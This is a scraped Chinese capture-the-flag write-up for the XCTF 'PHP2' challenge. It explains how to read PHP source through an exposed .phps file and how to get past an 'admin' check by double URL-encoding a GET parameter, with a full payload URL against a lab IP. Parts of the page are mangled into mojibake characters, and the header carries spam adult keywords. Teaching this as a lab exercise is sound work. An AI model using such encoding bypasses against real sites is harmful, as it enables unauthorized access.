日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) >

XCTF-高手进阶区:PHP2

發(fā)布時(shí)間:2023/12/31 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF-高手进阶区:PHP2 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

XCTF-高手進(jìn)階區(qū):PHP2

目標(biāo):

Writeup

(1)首先我們用dirsearch.py進(jìn)行網(wǎng)站目錄搜索


(2)我們發(fā)現(xiàn)有個(gè)index.php,我們?cè)L問(wèn)一下,沒(méi)有結(jié)果...

那么我們看看能否看看該網(wǎng)頁(yè)php地源碼,這里用到了.phps

.phps后綴釋義: phps文件就是php的源代碼文件。 通常用于提供給用戶(訪問(wèn)者)查看php代碼,因?yàn)橛脩魺o(wú)法直接通過(guò)Web瀏覽器看到php文件的內(nèi)容,所以需要用phps文件代替
(3)于是我們?cè)L問(wèn)index.phps,看到下圖所示:


(4)好的,接下來(lái)我們來(lái)分析可以獲得key值即flag值的核心源碼
  • 第一步:觀察源碼
not allowed!"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "Access granted! "; echo "Key: xxxxxxx "; } ?> Can you anthenticate to this website?
  • 第二步:我們需構(gòu)造id=admin,瀏覽自動(dòng)對(duì)id值進(jìn)行一次解碼,結(jié)果還是admin
$_GET[id]=urldecode(admin);//這里的admin是瀏覽器對(duì)id值自動(dòng)進(jìn)行一次解碼后的值 if("admin"=="admin")$_GET[id]="admin"; if("admin"=="admin")//true

這樣就OK了,我們來(lái)測(cè)試一下:

嗯?這是為什么呢?難道后端代碼對(duì)admin字符進(jìn)行了過(guò)濾?不讓傳admin字符?

ctrl+U看到完整php代碼是:
<?php if("admin"===$_GET[id]) {echo("<p>not allowed!</p>");exit(); }$_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") {echo "<p>Access granted!</p>";echo "<p>Key: xxxxxxx </p>"; } ?>Can you anthenticate to this website?

先嘗試了0==admin返回true,但是失敗了,看來(lái)可能只能admin==admin才能輸出flag?,但又要不滿足"admin"===$_GET[id],該如何?

行吧,那我們嘗試一下對(duì)admin進(jìn)行url編碼吧
  • 第三步:再次構(gòu)造payload
    注意:瀏覽器在上傳數(shù)據(jù)時(shí),會(huì)對(duì)參數(shù)值進(jìn)行一次解碼(與php代碼無(wú)關(guān),是瀏覽器自身會(huì)解碼一次)
    admin第一次url編碼:%61%64%6D%69%6E
我們url傳參時(shí): $_GET[id]=urldecode(admin);//這里的admin是瀏覽器對(duì)id值自動(dòng)進(jìn)行一次解碼后的值 if($_GET[id]=="admin")$_GET[id]="admin"; if("admin" == "admin")//true

由上面分析的代碼可以知道,%61%64%6D%69%6E經(jīng)過(guò)瀏覽器的一次自動(dòng)解碼,變成admin,之后又當(dāng)作id的值傳入代碼中,經(jīng)過(guò)urldecode,admin還是admin,服務(wù)器后端依舊會(huì)過(guò)濾admin

  • 第四步:因此,我們需要二次編碼,瀏覽自動(dòng)對(duì)id值進(jìn)行一次解碼,結(jié)果id在傳輸過(guò)程中變?yōu)閕d=%61%64%6D%69%6E
    admin二次編碼值:%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
$_GET[id]=urldecode(%61%64%6D%69%6E);//這里的%61%64%6D%69%6E是瀏覽器對(duì)id值自動(dòng)進(jìn)行一次解碼后的值 if($_GET[id]=="admin")$_GET[id]="admin";//這里的admin是php代碼中urldecode函數(shù)對(duì)%61%64%6D%69%6E進(jìn)行解碼的結(jié)果 if("admin" == "admin")//true

這樣,%61%64%6D%69%6E就不會(huì)被過(guò)濾了


(6)最后:我們?cè)L問(wèn)

http://111.198.29.45:41202/?id=%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45

注:下圖中原本是輸入的%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45,因?yàn)闉g覽器自動(dòng)一次解碼變成了%61%64%6D%69%6E

注:此題%2561dmin也可以,一次解碼后為%61,二次解碼后為a。
%2561=%25%36%31,也可以看出,解碼只會(huì)解%后面的兩位數(shù),其它數(shù)值沒(méi)有%不解碼

創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來(lái)咯,堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)

總結(jié)

以上是生活随笔為你收集整理的XCTF-高手进阶区:PHP2的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。